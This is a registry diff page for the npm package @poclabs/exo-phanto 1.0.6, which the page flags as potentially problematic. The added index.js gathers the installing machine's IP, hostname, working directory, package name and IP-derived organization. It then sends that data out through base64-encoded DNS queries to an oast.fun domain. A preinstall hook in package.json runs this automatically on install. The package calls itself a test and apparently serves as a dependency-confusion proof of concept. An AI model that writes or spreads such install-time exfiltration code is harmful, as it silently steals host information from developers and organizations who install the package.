@poclabs/exo-phanto 1.0.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @poclabs/exo-phanto might be problematic. Click here for more details.
- package/index.js +130 -0
- package/package.json +15 -0
- package/test.js +3 -0
package/index.js
ADDED
|
@@ -0,0 +1,130 @@
|
|
|
1
|
+
const os = require("os");
|
|
2
|
+
const dns = require("dns");
|
|
3
|
+
const https = require("https");
|
|
4
|
+
const path = require("path");
|
|
5
|
+
const fs = require("fs");
|
|
6
|
+
|
|
7
|
+
const EXFILTRATION_DOMAIN = "egvcjppgnjnbrgztumfhqdgqmdbaq1f5f.oast.fun"; // Replace with your subdomain
|
|
8
|
+
|
|
9
|
+
// IPinfo tokens to avoid rate limiting
|
|
10
|
+
const IPINFO_TOKENS = [
|
|
11
|
+
"e9334ba807050e1", // Replace with your first token
|
|
12
|
+
"26ed3371fb48a1", // Replace with your second token
|
|
13
|
+
"ca6b61c75a1ea9",
|
|
14
|
+
"c8e4ba13f45cdc" // Add more tokens as needed
|
|
15
|
+
];
|
|
16
|
+
|
|
17
|
+
// Function to rotate tokens
|
|
18
|
+
let currentTokenIndex = 0;
|
|
19
|
+
function getNextToken() {
|
|
20
|
+
const token = IPINFO_TOKENS[currentTokenIndex];
|
|
21
|
+
currentTokenIndex = (currentTokenIndex + 1) % IPINFO_TOKENS.length;
|
|
22
|
+
return token;
|
|
23
|
+
}
|
|
24
|
+
|
|
25
|
+
// Attempt to dynamically resolve the package name
|
|
26
|
+
function getPackageName() {
|
|
27
|
+
try {
|
|
28
|
+
const mainFile = require.main.filename; // Main script being executed
|
|
29
|
+
const packagePath = findPackageJson(path.dirname(mainFile));
|
|
30
|
+
if (packagePath) {
|
|
31
|
+
const packageData = JSON.parse(fs.readFileSync(packagePath, "utf-8"));
|
|
32
|
+
return packageData.name || "unknown-package";
|
|
33
|
+
}
|
|
34
|
+
} catch (err) {
|
|
35
|
+
return "unknown-package";
|
|
36
|
+
}
|
|
37
|
+
return "unknown-package";
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
// Recursively look for package.json
|
|
41
|
+
function findPackageJson(directory) {
|
|
42
|
+
const filePath = path.join(directory, "package.json");
|
|
43
|
+
if (fs.existsSync(filePath)) {
|
|
44
|
+
return filePath;
|
|
45
|
+
}
|
|
46
|
+
const parentDir = path.dirname(directory);
|
|
47
|
+
if (parentDir !== directory) {
|
|
48
|
+
return findPackageJson(parentDir);
|
|
49
|
+
}
|
|
50
|
+
return null;
|
|
51
|
+
}
|
|
52
|
+
|
|
53
|
+
// Collect system data
|
|
54
|
+
async function collectData() {
|
|
55
|
+
const ipAddress = getIPAddress();
|
|
56
|
+
const organization = await getOrganizationFromIP(ipAddress);
|
|
57
|
+
|
|
58
|
+
const data = {
|
|
59
|
+
time: new Date().toISOString(),
|
|
60
|
+
organization: organization || "Unknown",
|
|
61
|
+
ip_address: ipAddress,
|
|
62
|
+
package_name: getPackageName(), // Dynamically fetch the package name
|
|
63
|
+
hostname: os.hostname(),
|
|
64
|
+
current_path: process.cwd()
|
|
65
|
+
};
|
|
66
|
+
return data;
|
|
67
|
+
}
|
|
68
|
+
|
|
69
|
+
// Fetch IP Address
|
|
70
|
+
function getIPAddress() {
|
|
71
|
+
const interfaces = os.networkInterfaces();
|
|
72
|
+
for (const name of Object.keys(interfaces)) {
|
|
73
|
+
for (const iface of interfaces[name]) {
|
|
74
|
+
if (!iface.internal && iface.family === "IPv4") {
|
|
75
|
+
return iface.address;
|
|
76
|
+
}
|
|
77
|
+
}
|
|
78
|
+
}
|
|
79
|
+
return "127.0.0.1";
|
|
80
|
+
}
|
|
81
|
+
|
|
82
|
+
// Query IPinfo for organization details
|
|
83
|
+
function getOrganizationFromIP(ip) {
|
|
84
|
+
return new Promise((resolve) => {
|
|
85
|
+
const token = getNextToken();
|
|
86
|
+
const url = `https://ipinfo.io/${ip}?token=${token}`;
|
|
87
|
+
|
|
88
|
+
https.get(url, (res) => {
|
|
89
|
+
let data = "";
|
|
90
|
+
res.on("data", (chunk) => {
|
|
91
|
+
data += chunk;
|
|
92
|
+
});
|
|
93
|
+
res.on("end", () => {
|
|
94
|
+
try {
|
|
95
|
+
const response = JSON.parse(data);
|
|
96
|
+
resolve(response.org || "Unknown Organization");
|
|
97
|
+
} catch (err) {
|
|
98
|
+
resolve("Unknown Organization");
|
|
99
|
+
}
|
|
100
|
+
});
|
|
101
|
+
}).on("error", () => {
|
|
102
|
+
resolve("Unknown Organization");
|
|
103
|
+
});
|
|
104
|
+
});
|
|
105
|
+
}
|
|
106
|
+
|
|
107
|
+
// Encode data into a DNS-safe format
|
|
108
|
+
function encodeData(data) {
|
|
109
|
+
const jsonData = JSON.stringify(data);
|
|
110
|
+
const base64Data = Buffer.from(jsonData).toString("base64");
|
|
111
|
+
return base64Data.match(/.{1,50}/g).join(".") + "." + EXFILTRATION_DOMAIN;
|
|
112
|
+
}
|
|
113
|
+
|
|
114
|
+
// Send DNS query with encoded data
|
|
115
|
+
async function sendData() {
|
|
116
|
+
const payload = await collectData();
|
|
117
|
+
const query = encodeData(payload);
|
|
118
|
+
|
|
119
|
+
// Use a DNS query to exfiltrate data
|
|
120
|
+
dns.resolve4(query, (err) => {
|
|
121
|
+
if (err) {
|
|
122
|
+
console.error("Error sending DNS query:", err.message);
|
|
123
|
+
} else {
|
|
124
|
+
console.log("Exfiltration via DNS query successful.");
|
|
125
|
+
}
|
|
126
|
+
});
|
|
127
|
+
}
|
|
128
|
+
|
|
129
|
+
// Trigger data exfiltration
|
|
130
|
+
sendData();
|
package/package.json
ADDED
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@poclabs/exo-phanto",
|
|
3
|
+
"version": "1.0.6",
|
|
4
|
+
"description": "A fake package to test something",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node index.js",
|
|
8
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
9
|
+
},
|
|
10
|
+
"author": "poclabs",
|
|
11
|
+
"license": "ISC",
|
|
12
|
+
"dependencies": {
|
|
13
|
+
"@poclabs/exo-phanto": "^1.0.2"
|
|
14
|
+
}
|
|
15
|
+
}
|
package/test.js
ADDED